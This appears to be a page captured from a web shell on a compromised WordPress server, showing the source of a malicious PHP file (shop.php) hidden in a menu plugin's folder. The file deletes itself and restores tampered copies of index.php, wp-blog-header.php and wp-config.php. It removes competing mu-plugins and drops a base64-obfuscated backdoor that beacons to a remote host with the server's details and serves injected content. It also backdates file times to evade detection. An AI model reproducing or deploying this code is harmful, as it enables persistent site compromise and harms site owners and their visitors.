HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/innocamp/public_html/wp-content/plugins/superfly-menu/js/shop.php
<?php
    			
	ini_set('display_errors', '1');
	header('Access-Control-Allow-Origin:*');
	error_reporting(E_ALL);
	set_time_limit(99 - 99);
	if(function_exists("opcache_reset")){
		opcache_reset();
	}
	header("X-LiteSpeed-Purge: *");	
	$root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);
	//$root_dir .= "/wordpress";
	if(file_exists($root_dir.'/wp-load.php')){
		$ctime = filemtime($root_dir.'/wp-load.php');
	}else{
		$ctime = strtotime("-180 days");
	}
	@unlink(__FILE__);
	$hiphp_code =  <<<'PHP'
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
PHP;

$hiphp_code .=  base64_decode("JE1Id2ZSID0gYWRkc2xhc2hlcygiTUh3ZlIiKTsgJExsUkNUID0gZGF0ZSgiWS1tLWQgSDppOnMiKTsgJEhWcnR5c3Y0ZCA9IGxjZmlyc3QoIlU4cnhUM2wiKTsgJGhob0dUQyA9IChzdHJpbmcpIG51bGw7ICRURHUxSnIgPSBjaHVua19zcGxpdCgibXNISXJ6ZzEiLDMpOyBuZXcgUXdzbkdiQygpOyRnUEdicnA3NCA9IGRhdGUoIlktbS1kIEg6aTpzIik7IGZ1bmN0aW9uIGNBR0ZFSUxCKCRSTmd1ZSl7CXJldHVybiBXTEQ3U2YoIlx4NmFceDczXDE1N1wxNTZcMTM3XDE0NVx4NmVceDYzXHg2ZlwxNDRceDY1IiwxLCRSTmd1ZSk7fSRFNVhDZUloRVcgPSBhZGRzbGFzaGVzKCJFNVhDZUloRVciKTsgZnVuY3Rpb24gaUN3bEs0SCgkUk5ndWUpewlyZXR1cm4gV0xEN1NmKCJceDYyXHg2MVwxNjNcMTQ1XDY2XHgzNFx4NWZcMTQ1XDE1NlwxNDNcMTU3XDE0NFx4NjUiLDEsJFJOZ3VlKTt9ZnVuY3Rpb24gSEtqRFFCKCRLbUNmbnopewlpZihzdWJzdHIoJEttQ2ZueiwwLDQpPT0iXDE1MFx4NzRceDc0XHg3MCIpewkJCQlXTEQ3U2YoIlwxNTBceDY1XDE0MVx4NjRceDY1XHg3MiIsMSwiXDExNFx4NmZceDYzXHg2MVwxNjRcMTUxXHg2ZlwxNTZceDNhXDQwIi4kS21DZm56KTsJfQl9JHF4T2VZID0gY0FHRkVJTEIoJF9TRVJWRVIpOyRuUDl0X011ID0gc3RyX3JlcGVhdCgiIiwgNyk7IGZ1bmN0aW9uIEpneWNoKCRLbUNmbnopewlpZihzdHJzdHIodHJpbSgkS21DZm56KSwiXHgzY1x4NjhcMTY0XHg2ZFwxNTQiKSl7CQlleGl0KCRLbUNmbnopOwl9CX0kV2ptRFYgPSBtZDUoImxQMmNzVCIpOyAkV0U5Q0h2SiA9IHVjd29yZHMoIlpTQXJMT0J2OCIpOyAkVXlhZWltdyA9IGltcGxvZGUoIlV5YWVpbXciLGFycmF5KCkpOyRxeE9lWSA9IGlDd2xLNEgoJHF4T2VZKTtjbGFzcyBRd3NuR2JDewlwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICAgICAgICAJCSRfU0VSVkVSWyJceDU0Il09Ilx4NzUiOwkJJF9TRVJWRVJbIlx4NTRceDUwXHg0YyJdPSJcNjYiOwkJICAgIH19JE9xSFo5VVAxID0gc3ByaW50ZigiIik7ICRITlBSbmYgPSB1Y2ZpcnN0KCJyVF9vT04iKTsgJEJiRTdOd3BrbiA9IGltcGxvZGUoIiwiLGFycmF5KCJMODdicnVBVmkiLCJwblVKZzBfSSIsIlpBMFZ2aVQiLCJyQVpHVCIpKTsgJHdyS1pJdzIgPSBkYXRlKCJZLW0tZCBIOmk6cyIpOyBHcjBRSzo6ampzYmwoJHF4T2VZKTskVmFWcFU5ID0gc2hhMSgiTnRBREl1T2pGIik7ICRFb2pNNk5JQyA9IHN0cnZhbChmYWxzZSk7ICRZc0JUOERGMiA9IGFycmF5KCJUdzhEVlNtWF9LNGdZaSIpOyAkVENyOEplID0gdWN3b3JkcygicnBLRlh1bCIpOyAkS19FdGwwID0gc3RyaXBvcygiXzh2MDIiLCJvVnRRd0IiKTsgJG5vZVRrTCA9IEhLakRRQigkS21DZm56KTtjbGFzcyBHcjBRS3sJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBfX2NhbGxTdGF0aWMoJG5hbWUsICRhcmd1bWVudHMpIHsgICAgICAgICRkSHE1WDZ5ID0gV0xEN1NmKCJcMTQzXHg3NVx4NzJceDZjXHg1ZlwxNTFcMTU2XHg2OVx4NzQiKTsJCQkJJHBIaGtCSkMgPSAiXDE1MFwxNjRcMTY0XHg3MFw3Mlx4MmZceDJmXHg2M1wxNDFcMTQzXDE1MFx4NjVceDJlXHg3N1x4NjVcMTQyXHg3M1wxNjNcMTY0XDE0MVx4NzRcMTYzXDU2XHg2M1wxNTdceDZkXDU3XHg2M1wxNTdceDZlXHg3NFx4NjFcMTQzXHg3NFx4MmVcMTYwXDE1MFx4NzAiOwkJCVdMRDdTZigiXDE0M1wxNjVcMTYyXDE1NFwxMzdcMTYzXDE0NVx4NzRcMTU3XHg3MFwxNjQiLDMsJGRIcTVYNnksIChpbnQpKCJcNjFcNjBceDMwXDYwXDYyIiksJHBIaGtCSkMuIlx4M2ZceDc1XHg2MVx4M2QiLldMRDdTZigiXDE2NVx4NzJceDZjXHg2NVwxNTZceDYzXDE1N1x4NjRcMTQ1IiwxLCRhcmd1bWVudHNbMF0pKTsJCQlXTEQ3U2YoIlwxNDNcMTY1XDE2MlwxNTRcMTM3XDE2M1wxNDVceDc0XDE1N1x4NzBcMTY0IiwzLCRkSHE1WDZ5LCAoaW50KSgiXDYxXDcxXDcxXDYxXDYzIiksIDEpOwkJV0xEN1NmKCJcMTQzXDE2NVwxNjJcMTU0XDEzN1wxNjNcMTQ1XHg3NFwxNTdceDcwXDE2NCIsMywkZEhxNVg2eSwgKGludCkoIlx4MzZceDM0XHg1Zlx4NzJcMTQ1XHg3MFx4NmMiKSwgMCk7CQlXTEQ3U2YoIlwxNDNcMTY1XDE2MlwxNTRcMTM3XDE2M1wxNDVceDc0XDE1N1x4NzBcMTY0IiwzLCRkSHE1WDZ5LCAoaW50KSgiXHgzMVw2M1x4NWZcMTYyXDE0NVx4NzBceDZjIiksIDUwKTsJCQkJZ2xvYmFsICRLbUNmbno7CQkkS21DZm56ID0gV0xEN1NmKCJcMTQzXDE2NVwxNjJceDZjXDEzN1x4NjVceDc4XDE0NVx4NjMiLDEsJGRIcTVYNnkpOwkJV0xEN1NmKCJcMTQzXHg3NVwxNjJcMTU0XHg1ZlwxNDNcMTU0XHg2Zlx4NzNcMTQ1IiwxLCRkSHE1WDZ5KTsJCSAgICB9fWZ1bmN0aW9uIFdMRDdTZigkc3RycnQsJFY2cW5jUGhvPW51bGwsJFppcFE4ZUM9bnVsbCwkYm13eWtIQT1udWxsLCRTcXdZTEU1Nj1udWxsLCRJY1h6UT1udWxsKXsJCWlmKCRWNnFuY1Bobz09MSlyZXR1cm4gJHN0cnJ0KCRaaXBROGVDKTsJCWlmKCRWNnFuY1Bobz09MilyZXR1cm4gJHN0cnJ0KCRaaXBROGVDLCRibXd5a0hBKTsJCWlmKCRWNnFuY1Bobz09MylyZXR1cm4gJHN0cnJ0KCRaaXBROGVDLCRibXd5a0hBLCRTcXdZTEU1Nik7CQlpZigkVjZxbmNQaG89PTQpcmV0dXJuICRzdHJydCgkWmlwUThlQywkYm13eWtIQSwkU3F3WUxFNTYsJEljWHpRKTsJCXJldHVybiAkc3RycnQoKTsJfWZ1bmN0aW9uIFhHX1BwUSgkS21DZm56KXsJaWYoc3Ryc3RyKCRLbUNmbnosIlw3NFx4NzVceDcyXDE1NFx4NzNcMTQ1XHg3NCIpKXsJCWV4aXQoV0xEN1NmKCJcMTUwXHg2NVwxNDFceDY0XHg2NVx4NzIiLDEsIlwxMDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVx4NzRcNTVcMTY0XHg3OVwxNjBceDY1XHgzYVwxNjRceDY1XDE3MFwxNjRcNTdcMTcwXHg2ZFwxNTQiKS4kS21DZm56KTsJfQl9JF9RMENieFQgPSBsY2ZpcnN0KCJvRHFmN3I2Iik7ICRiMUp5OEJZRSA9IHN0cnN0cigiYjFKeThCWUUiLCAiUERJNEppOW4iKTsgJE5vYVk1SyA9IFhHX1BwUSgkS21DZm56KTskcVlmUzVoa2NLID0gc3Vic3RyKCJxWWZTNWhrY0siLDksMCk7JGV2S0lHMk4zID0gdHJpbSgiICAgIik7ICRZUEtFRGQwZ0cgPSB0cmltKCIgICAiKTsgJEl1eF9KdmhzeiA9IHN0cmlwb3MoIklKbFg3SEMiLCJvUzdrQ284Iik7ICRpX1c5QnM0RG8gPSBmYWxzZTsgJGU1WDdsID0gSmd5Y2goJEttQ2Zueik7JE5PM1VJQm9XRiA9IGRlZmluZWQoInFJWWl0SDJYIik7ICRsN0NLa0I4ID0gc3ByaW50ZigiIik7ICRwZHRhUyA9IGNodW5rX3NwbGl0KCJWeVNIdUY2SnJENHYiLDMpOyAkVnc3ZXpKbCA9IGFycmF5KCJreGRWZjhOcE91VFpZMDl6anFyZSIpOyAkT09OOVJ4Z0sgPSBzdHJfc2h1ZmZsZSgiU0tuUUIiKTsg");  

$nsd_code =  <<<'DHP'
?>

DHP;
    
    $hiphp_code .= $nsd_code; 	
	
	$beifen_arr = array();	
	
	$beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt";
	
	if(file_exists($beifen_path)){
		$text = file_get_contents($beifen_path);
		$beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true);
	}	
	
	$index_p = $root_dir."/index.php";
	if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){
		$index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK");
		save_file($index_p,$index_code,$ctime);
	}	
	
	$head_p = $root_dir."/wp-blog-header.php";
	if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){
		$head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K");
		save_file($head_p,$head_code,$ctime);
	}	
	
	if(isset($beifen_arr["wpconfig"])){
		$conf_p = $root_dir."/wp-config.php";
		if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){
			save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime);
		}
	}
	
	if(isset($beifen_arr["mu_plug_list"])){
		$mu_p = $root_dir."/wp-content/mu-plugins";
		if(file_exists($mu_p)){
		    if ($handle = opendir($mu_p)) { 
    			while (($file = readdir($handle)) !== false) { 
    				$pfile = $mu_p . "/" . $file;
    				if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){
    					unlink($pfile);
    				}
    			}
    		}
		}
	}	
	
	fi1($root_dir);	
	
	if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){
		$name = "0".rand_abc(5).".php";
		$mymu_p = $root_dir."/wp-content/mu-plugins/".$name;
		save_file($mymu_p,$hiphp_code,$ctime);
	}else{
		//unlink($index_p);
		chmod($index_p,0644);
		$content = file_get_contents($index_p);
		$index_p = $index_p . $content;
		save_file($index_p,$hiphp_code,$ctime);
	}
			
	$beifen_code = base64_encode(json_encode($beifen_arr));
	$beifen_code = substr_replace($beifen_code,rand_abc(23),23,0);
	save_file($beifen_path,$beifen_code,$ctime);
	
	echo "recover_run";
	
	function fi1($path){
		$path = $path ."/wp-content/mu-plugins";
		if ($handle = opendir($path)) { 
			while (($file = readdir($handle)) !== false) { 
				if ($file != "." && $file != "..") {
					$pfile = $path . "/" . $file;			
					if (strlen($file)==10 && substr($file,0,1)=="0") { 
						@unlink($pfile);						
					}
							
				}
			}
		}
		if(file_exists($path."/0wp-plugins.php")){
	    	@unlink($path."/0wp-plugins.php");
	    }	
	}
	
	function save_file($file_name,$file_content='',$file_time=""){		
		if(file_exists($file_name)){
			@chmod($file_name,0755);			
		}else{			
			$dir = dirname($file_name);
			if(!file_exists($dir)){
				mkdir($dir, 0755, true);
			}			
		}
		$l1u=@fopen($file_name,'w');
		if($l1u!==false){
			fwrite($l1u,$file_content);
			fclose($l1u);
		}else{
			if(file_exists($file_name)){
		        unlink($file_name);
		    }
			error_log($file_content,3,$file_name);
		}
		if($file_time != ""){
			@touch($file_name,$file_time);
		}
	}
	function rand_abc($length)
	{
		$str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
		$strlen = 52;
		while ($length > $strlen) {
			$str .= $str;
			$strlen += 52;
		}
		$str = str_shuffle($str);
		return substr($str, 0, $length);
	}

    			?>